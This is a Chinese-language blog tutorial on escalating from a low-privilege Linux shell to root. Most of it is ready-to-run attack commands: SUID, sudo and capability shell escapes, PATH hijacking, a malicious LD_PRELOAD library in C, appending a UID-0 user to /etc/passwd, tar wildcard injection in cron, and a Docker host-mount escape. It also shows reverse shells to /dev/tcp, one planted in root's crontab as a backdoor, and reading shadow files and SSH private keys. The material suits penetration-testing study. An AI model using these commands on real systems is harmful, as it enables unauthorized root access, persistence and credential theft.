Linux 提权

Linux 提权

从 www-data 到 root 的距离

前言

Linux 提权( Privilege Escalation,简称 PrivEsc )指的是:从低权限用户提升到更高权限(通常是 root )的过程,主要分为内核提权和其他类型提权。

Linux 基础

在正式开始学习 Linux 提权之前,有些相关的基础知识需要掌握,在后面写的过程中有一些概念也放在这里面。

1. Linux 权限模型

Linux 每个文件都有:文件所有者(owner)、文件所属组(group)、其他用户(others),权限管理用10位表示法:

bash
[文件类型][U][G][O]
[文件类型]:
- 普通文件
d 目录
l 软链接
c 字符设备
b 块设备

[U]:所有者权限
[G]:所属组权限
[O]:其他用户权限
权限文件目录
r读取内容查看目录文件名
w修改内容创建删除文件
x执行进入目录

示例:

bash
-rwxr-xr--

表示该文件所有者有 rwx 权限,所属组有 rx 权限,其他用户有 r 权限,同时,也可以用数字表示,r = 4,w = 2,x = 1,该示例就为 754 。

2. 特殊权限位

  1. SUID
    执行时以文件所有者身份运行,当 U 具有 x 权限时,添加 SUID 后该 x 位变为 s ,不具有时变为 S ,用数字表示是 4000 ,可以用 find / -perm -4000 2>/dev/null 查看,添加可以用 chmod u+s test
  2. SGID
    文件:执行时以文件所属组身份运行;目录:新建文件继承目录组所有权,当 G 具有 x 权限时,添加 SGID 后该 x 位变为 s ,不具有时变为 S ,用数字表示是 2000 。
  3. Sticky Bit
    在目录上设置时,只有所有者、目录所有者或 root 可删除或重命名文件,当 O 具有 x 权限时,添加后该 x 位变为 t ,不具有时变为 T,用数字表示是 1000 。

3. /etc/passwd

/etc/passwd 是 Linux 中非常重要的系统文件,保存用户账户信息。

示例:

bash
用户名:密码占位符:UID:GID:描述:家目录:登录Shell

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
alice:x:1000:1000:Alice:/home/alice:/bin/bash

每一行代表一个用户,一共 7 个字段,

字段内容含义
1root用户名
2x密码字段,x 是占位符,密码已移动到 /etc/shadow;为空表示无密码,可直接登录
30UID ,用户 ID,root 是 0,系统用户是 1-999,普通用户是 1000+
40GID,组 ID
5root用户描述
6/root家目录
7/bin/bash登录 Shell, 用户登录系统后,默认启动的命令解释器(shell 程序)

4. /etc/shadow

Linux 中保存用户密码哈希(hash)信息的文件。

示例:

bash
用户名:密码hash:最近修改时间:最小间隔:最大间隔:警告时间:宽限期:账户失效日期:保留

root:$y$j9T$PvTjazjliv1w23ZO2Id3L0$1vm0ofCDn.j4YMNKLqi3kRGFl.pb6kfEJh./k4XzdLA:20469:0:99999:7:::

密码字段 $算法$id$salt$hash ,该示例 yescrypt 算法,j9T 参数,PvTjazjliv1w23ZO2Id3L0 盐。

标识算法
$1$MD5
$2a$Blowfish
$5$SHA-256
$6$SHA-512
$y$yescrypt

其中,密码字段还有其他情况:

text
root:!:20469:0:99999:7:::      !账户密码被锁定,不能用密码登录,但可能还能通过其他方式登录(比如 SSH key)。

user:!!:20469:0:99999:7:::     用户创建了,但是还没有设置密码。

mysql:*:20469:0:99999:7:::     密码登录被禁用。

root::20469:0:99999:7:::       无密码。

5. /etc/sudoers

是 Linux 中 sudo 命令的配置文件,它规定哪些用户可以使用 sudo,以及可以用 sudo 执行哪些命令。

示例:

bash
root    ALL=(ALL:ALL) ALL    root 用户可以在任何主机,以任何用户和组身份执行任何命令

%sudo   ALL=(ALL:ALL) ALL    sudo组都有全部sudo权限

所以就可以用 cat /etc/group | grep sudo 去查看 sudo 组的用户,尝试用这些用户提权。

信息收集

拿到一个普通 shell 后,不要急着执行 exploit,先收集信息。

1. 查看系统信息

bash
# 打印所有可用的系统信息 
uname -a 
# 内核版本
uname -r 
# 系统主机名
uname -n 
# 系统主机名
hostname 
# 查看系统内核架构(64位/32位)
uname -m 
# 内核信息 
cat /proc/version 
# 分发信息 
cat /etc/os-release 
# 分发信息
cat /etc/issue
# CPU信息 
cat /proc/cpuinfo 

2. 用户和群组

bash
# 列出系统上的所有用户
cat /etc/passwd
# 列出系统上的所有用户组
cat /etc/group
# 列出所有的超级用户账户(UID = 0)
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1 }'
# 查看 root 用户的本地邮件(可能包含系统通知)
cat /var/mail/root
cat /var/spool/mail/root
# 查看当前用户
whoami
# 查看当前用户详细信息
id
# 查看当前已登录的用户及其活动
w
# 查看最近登录的用户列表
last
# 查看所有用户的上次登录信息
lastlog
# 查看指定用户的上次登录信息(将 %username% 替换为用户名)
lastlog -u 用户名
# 谁被允许以root身份执行
cat /etc/sudoers
# 当前用户可以以root身份执行操作
sudo -l

3. SUID/SGID/可写文件扫描

bash
# 查找 SUID 文件,提权的重点关注对象
find / -perm -4000 -type f 2>/dev/null
# 查找 SGID 文件
find / -perm -2000 -type f 2>/dev/null
# 查找当前用户可写的文件
find / -writable -type f 2>/dev/null
# 查看关键系统文件的权限
ls -la /etc/passwd /etc/shadow /etc/sudoers
# 查找具有特殊 capabilities 的文件
getcap -r / 2>/dev/null

可写的关键文件是提权的大线索,比如 /etc/passwd 可写时,可以直接添加一个 UID 为 0 的用户。

4. 计划任务、进程与网络

bash
# 查看当前用户的计划任务
crontab -l
# 查看系统的计划任务
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily
# 查看正在运行的进程,重点关注 root 用户执行的进程
ps aux
# 查看监听端口与网络连接
ss -tulpn
netstat -tulnp

root 定期执行的计划任务脚本如果可写,替换后等待触发即可拿到 root 权限。

5. 环境系统变量信息

bash
# 显示环境变量
env
# 查看所有 Shell 变量
set
# 查看 PATH
echo $PATH
# 显示当前用户的历史命令记录
history
# 显示默认系统变量
cat /etc/profile
# 显示可用的shell
cat /etc/shells

6. 查找明文密码

bash
# 在文件中查找包含 "user"(不区分大小写)的行
grep -i user [filename]
# 在文件中查找包含 "pass"(不区分大小写)的行
grep -i pass [filename]
# 在文件中查找包含 "password" 的行,并显示上下 5 行的内容
grep -C 5 "password" [filename]
# 查找当前目录及子目录中所有 .php 文件,查找其中包含 "var $password" 的行,并显示行号
find . -name "*.php" -print0 | xargs -0 grep -i -n 'var $password'

7. ssh 私钥

bash
# 查看当前用户的 SSH 授权密钥
cat ~/.ssh/authorized_keys
# 查看当前用户的 SSH 身份密钥(公钥)
cat ~/.ssh/identity.pub
# 查看当前用户的 SSH 身份密钥(私钥)
cat ~/.ssh/identity
# 查看当前用户的 RSA 公钥
cat ~/.ssh/id_rsa.pub
# 查看当前用户的 RSA 私钥
cat ~/.ssh/id_rsa
# 查看当前用户的 DSA 公钥
cat ~/.ssh/id_dsa.pub
# 查看当前用户的 DSA 私钥
cat ~/.ssh/id_dsa
# 查看 SSH 客户端配置文件
cat /etc/ssh/ssh_config
# 查看 SSH 服务端配置文件
cat /etc/ssh/sshd_config
# 查看 SSH DSA 主机公钥
cat /etc/ssh/ssh_host_dsa_key.pub
# 查看 SSH DSA 主机私钥
cat /etc/ssh/ssh_host_dsa_key
# 查看 SSH RSA 主机公钥
cat /etc/ssh/ssh_host_rsa_key.pub
# 查看 SSH RSA 主机私钥
cat /etc/ssh/ssh_host_rsa_key
# 查看 SSH 主机公钥
cat /etc/ssh/ssh_host_key.pub
# 查看 SSH 主机私钥
cat /etc/ssh/ssh_host_key

8. LinPEAS

LinPEAS 是一款自动化的信息收集脚本。

bash
# 下载
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

# 添加执行权限
chmod +x linpeas.sh

# 运行
bash linpeas.sh

内核漏洞提权

内核漏洞提权是指利用操作系统内核自身的漏洞,把普通用户权限提升为 root。内核漏洞的 exploit 通常以本地提权(Local Privilege Escalation,LPE)的形式存在,一旦成功,攻击者就获得了整个系统的控制权。

1. 经典内核漏洞

漏洞CVE受影响范围说明
Dirty COWCVE-2016-5195Linux 2.6.22 – 4.8.3写时复制(COW)竞态条件,可写入只读文件,最经典的提权漏洞之一
Dirty PipeCVE-2022-0847Linux 5.8 – 5.16.11管道缓冲区未初始化,可覆盖只读文件,利用简单且稳定
PwnKitCVE-2021-40342009 年以来的所有主流发行版polkit 组件漏洞,通过 pkexec 提权,影响面极广
OverlayFSCVE-2021-3493Ubuntu 20.04 / 20.10 默认内核overlayfs 文件复制逻辑缺陷,Ubuntu 上利用稳定
nftables 溢出CVE-2024-1086Linux 3.15 – 6.6nftables 堆越界写,2024 年公开,影响范围大

其中 PwnKit 严格来说是 polkit 组件的漏洞而不是内核漏洞,但利用方式和最终效果相同,所以通常也归入这一类。

2. 利用流程

bash
# 1. 查看内核版本和发行版,确定目标范围
uname -a
cat /etc/os-release

# 2. 根据版本搜索对应的漏洞利用代码
searchsploit linux kernel
# 也可以去 exploit-db.com 或 GitHub 上搜索

# 3. 下载 exploit 源码并编译
gcc exploit.c -o exploit

# 4. 上传到目标机器执行
./exploit

3. 注意事项

  • 内核版本必须和 exploit 要求的版本精确匹配,版本不对轻则利用失败,重则导致内核崩溃(panic)甚至系统重启,容易暴露行踪。
  • 部分 exploit 不稳定,可能需要多次尝试,或根据目标架构(32 位/64 位)调整编译参数。
  • 目标机器可能没有 gcc 等编译工具,可以本地编译后上传,注意使用 -static 静态编译,避免目标机器缺少动态库。
  • 内核提权相当于"核武器",实战中应优先尝试 sudo、SUID、计划任务等配置类提权,实在没有路径再考虑内核漏洞。
  • 内核漏洞利用成功后通常无法用于持久化,还需要另行维持权限。

SUID 提权

在 Linux 中,SUID 是一种特殊权限位,在文件所有者的执行权限上,可以让调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个 root 用户所有的 SUID 文件,那么运行该文件我们就可以获取到 root 权限。

bash
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000  -type f -print 2>/dev/null
find / -user root -perm -4000 -exec ls -l {} \; 2>/dev/null

下面介绍一些常见的可以用来提权的利用方式。

1. nmap

旧版本 nmap 有:interactive 模式,可以进入交互模式,来运行具有相同权限的 shell 。

bash
nmap --interactive

nmap> !sh
sh-3.2# whoami
root

2. find

可以利用 -exec 参数执行任意命令。

bash
find /tmp -exec whoami \;
find /tmp -exec  /bin/sh -p \;

3. vim

vim 是用来作为文本编辑器,但是如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件,也可以通过其他方式拿到 root 权限。

命令模式。

bash
vim
:!sh

4. less和more

less 和 more 都是 Linux 下的分页查看器,如果它们被错误设置为 SUID ,就可能造成权限提升。

text
less/more  /etc/passwd
!sh

5. bash

bash
bash -p
whoami

6. env

可以直接命令执行。

bash
env whoami 
env id 
env bash -ip >& /dev/tcp/$ip/$port 0>&1;

7. python和perl

可以直接执行。

bash
/usr/bin/python 
import os 
os.setuid(0)
os.system("/bin/sh")

/usr/bin/perl
perl -e 'setuid(0);system("id")'

8. Nano cp netcat

nano 可以编辑 root 文件,cp 复制/覆盖 root 文件,netcat -e 命令执行。

Capabilities 提权

Linux capabilities 把 root 的完整权限拆分成一项项独立特权,可以单独赋予某个文件。普通用户执行带有 capabilities 的文件时,只会获得对应的一项特权,而不是完整 root,但其中部分特权可以直接用来提权。

1. 查看 capabilities

bash
# 递归扫描整个系统,找出带 capabilities 的文件
getcap -r / 2>/dev/null

# 查看单个文件的 capabilities
getcap /usr/bin/python3

输出示例:

bash
/usr/bin/python3 cap_setuid=ep
/usr/bin/tar cap_dac_read_search=ep

=ep 表示 effective + permitted(生效可用),这样的文件才能被利用。

2. 常见可提权的 capabilities

capabilities效果利用方式
cap_setuid任意切换用户 IDsetuid(0) 直接提权
cap_setgid任意切换组 IDsetgid(0) 直接提权
cap_dac_read_search绕过文件的读权限检查直接读取 /etc/shadow
cap_dac_override绕过文件的读写权限检查修改 /etc/passwd 等关键文件
cap_chown修改任意文件的属主chown root:root 任意文件

3. 常见利用方式

bash
# python3 带 cap_setuid:直接切换为 root
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl 带 cap_setuid
perl -e 'setuid(0); system("/bin/sh")'

# tar 带 cap_dac_read_search:打包读取普通用户读不了的文件
tar -cf /tmp/shadow.tar /etc/shadow
tar -xO -f /tmp/shadow.tar etc/shadow

注意:capabilities 只提供单项特权,例如拿到 cap_dac_read_search 只能读取敏感文件,无法直接获得 shell,读到的哈希还需要配合 john / hashcat 爆破;而 cap_setuid 可以直接提权,是最有价值的利用目标。

SUDO 提权

sudo 是 Linux 中非常重要的权限管理工具,允许普通用户以其他用户(通常是 root)的身份执行某些命令,通常情况下,执行 sudo 需要输入用户自己的密码,但有时候会出现无需密码(NOPASSWD)即可执行,这些配置不当可能导致攻击者利用。示例:

bash
sudo -l 
# 查看权限

sudo /bin/bash
# 使用 sudo 启动一个新的 Bash shell。若 sudo 配置允许执行该命令,用户便能获取 root 权限并进入 shell。
sudo /bin/sh
# 与 sudo /bin/bash 类似,使用 sudo 启动一个新的 sh shell。常用于一些环境下无法使用 Bash,但仍能通过其他 shell 提权的情况。
sudo python -c 'import os; os.system("/bin/bash")'
# 通过 Python 的 os.system() 方法执行命令。该命令在 Python 中执行 bash,从而获得一个新的 shell 以提权。
sudo perl -e 'exec "/bin/bash"'
# 利用 Perl 语言中的 exec 函数直接执行 /bin/bash,从而获得 root 权限下的 Bash shell。
sudo vim -c '!sh'
# 使用 vim 编辑器执行命令 !sh 启动一个新的 shell。vim 的 -c 参数用于在启动时执行 Vim 命令,这里使用它来启动 sh shell。
sudo vi -c '!sh'
# 与 sudo vim -c '!sh' 类似,利用 vi 编辑器的 -c 参数执行命令 !sh,从而获得一个新的 shell。
sudo find / -exec /bin/bash \;
# 使用 find 命令遍历系统文件,并通过 -exec 参数执行 /bin/bash。如果 sudo 配置允许执行该命令,就会启动一个 Bash shell。
sudo awk 'BEGIN {system("/bin/sh")}'
# 使用 awk 命令执行系统命令。这里通过 BEGIN 动作直接执行 sh,启动一个新的 shell。

环境变量提权

高权限程序执行时,如果会读取用户可控的环境变量,就可能被利用。

1. PATH 劫持

程序在调用其他命令时,如果使用的是相对路径(例如 C 语言中的 system("ls")execvp("ls", ...)),系统会按照 PATH 环境变量中的目录顺序逐个查找。如果 PATH 中存在普通用户可写的目录,并且排在系统目录前面,就可以在该目录中放一个同名恶意脚本,让程序执行我们的脚本。

bash
# 查看当前 PATH,确认其中是否有可写目录
echo $PATH

# 在可写目录 /tmp 中创建与目标命令同名的恶意脚本
echo -e '#!/bin/bash\nwhoami' > /tmp/ls
chmod +x /tmp/ls

# 把 /tmp 放到 PATH 最前面
export PATH=/tmp:$PATH

# 此时执行 ls,实际运行的是 /tmp/ls
ls

如果 root 的计划任务或 SUID 程序调用了相对路径的命令,还可以把脚本换成提权版本:

bash
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH

# 等待触发后,执行带 SUID 的 bash 拿到 root shell
/tmp/rootbash -p

注意:bash 执行 SUID 脚本时会主动重置 PATH,但编译型程序通过 system()/execvp() 调用命令时依然继承当前 PATH,PATH 劫持仍然有效。

2. LD_PRELOAD

LD_PRELOAD 环境变量可以让动态链接器在加载程序时,优先加载我们指定的共享库。如果高权限程序在运行时没有清理该变量,共享库里的代码就会以该程序的权限(root)执行。

c
// evil.c,编译:gcc -fPIC -shared -o evil.so evil.c -nostartfiles
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
bash
# 编译恶意共享库
gcc -fPIC -shared -o evil.so evil.c -nostartfiles

# 触发加载:如果 sudo 配置中 env_keep 保留了 LD_PRELOAD
sudo LD_PRELOAD=/tmp/evil.so 任意可执行的命令

# 或者直接加载到某个 root 程序上
LD_PRELOAD=/tmp/evil.so /usr/bin/某root程序

注意:glibc 对 SUID 程序会忽略 LD_PRELOAD、LD_LIBRARY_PATH 等危险环境变量,所以直接对 SUID 文件设置 LD_PRELOAD 是无效的,但 sudo 的 env_keep 配置不当(保留 LD_PRELOAD)时依然可以触发。

/etc/passwd 提权

如果普通用户可以修改 /etc/passwd ,就可能创建一个 UID=0 的用户,从而获得 root 权限。

bash
# 生成密码
openssl passwd -1 123456

# 写入
echo 'hacker:$1$U3j/AfY0$tkh7ZVaEdkutQYp2uBugC.:0:0:root:/root:/bin/bash' >> /etc/passwd

# 提权
su hacker

定时任务提权

root 的计划任务(cron)会定期以 root 身份执行脚本,如果脚本内容或脚本调用的命令可控,就可以借机提权。

1. 查看定时任务

bash
# 查看系统级计划任务(全局可读)
cat /etc/crontab
# 查看 /etc/cron.d 下的任务
ls -la /etc/cron.d
cat /etc/cron.d/*
# 查看按周期执行的目录
ls -la /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly
# 查看当前用户的计划任务
crontab -l

发现 root 定期执行的脚本后,先检查脚本是否可写:

bash
ls -la /usr/local/bin/backup.sh

2. 替换可写脚本

如果脚本普通用户可写,直接追加恶意命令,等 cron 触发即可:

bash
# 向 root 定时执行的脚本追加提权命令
echo 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' >> /usr/local/bin/backup.sh

# 等任务触发后执行
/tmp/rootbash -p

3. 通配符注入

cron 任务中如果使用了带通配符的命令(例如 tar czf backup.tar.gz *),* 会被展开成目录里的文件名,而文件名会被当作 tar 的参数解析,可以利用 --checkpoint-action=exec 执行任意命令:

bash
# 在 tar 执行目录下创建恶意脚本
echo 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' > shell.sh

# 创建触发参数文件,文件名会被 tar 当作参数
touch -- --checkpoint=1
touch -- '--checkpoint-action=exec=sh shell.sh'

# 等 cron 触发 tar 后执行
/tmp/rootbash -p

Docker 提权

如果当前用户属于 docker 组,或者 /var/run/docker.sock 可写,就可以创建容器并挂载宿主机的根目录,从而完全控制宿主机。

1. 检查权限

bash
# 查看所属组,确认是否在 docker 组
id
# groups 中包含 docker 即可利用

# 查看 docker socket 权限
ls -la /var/run/docker.sock

2. 挂载宿主机文件系统

bash
# 将宿主机的 / 挂载到容器的 /mnt,进入容器
docker run -v /:/mnt -it ubuntu /bin/bash

# 容器内直接读取宿主机上的敏感文件
cat /mnt/etc/shadow

# 或者 chroot 切换到宿主机的根文件系统
chroot /mnt /bin/bash

3. 写入后门

拿到宿主机文件系统访问权限后,可以写入 SSH 密钥或计划任务:

bash
# 写入 root 的 SSH 公钥
echo 'ssh-rsa AAAAB3NzaC1yc2E...' > /mnt/root/.ssh/authorized_keys

# 或写入 root 的计划任务反弹 shell
echo '* * * * * root bash -c "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1"' >> /mnt/etc/crontab
新故事即将发生
Linux的proc文件系统

评论区

评论加载中...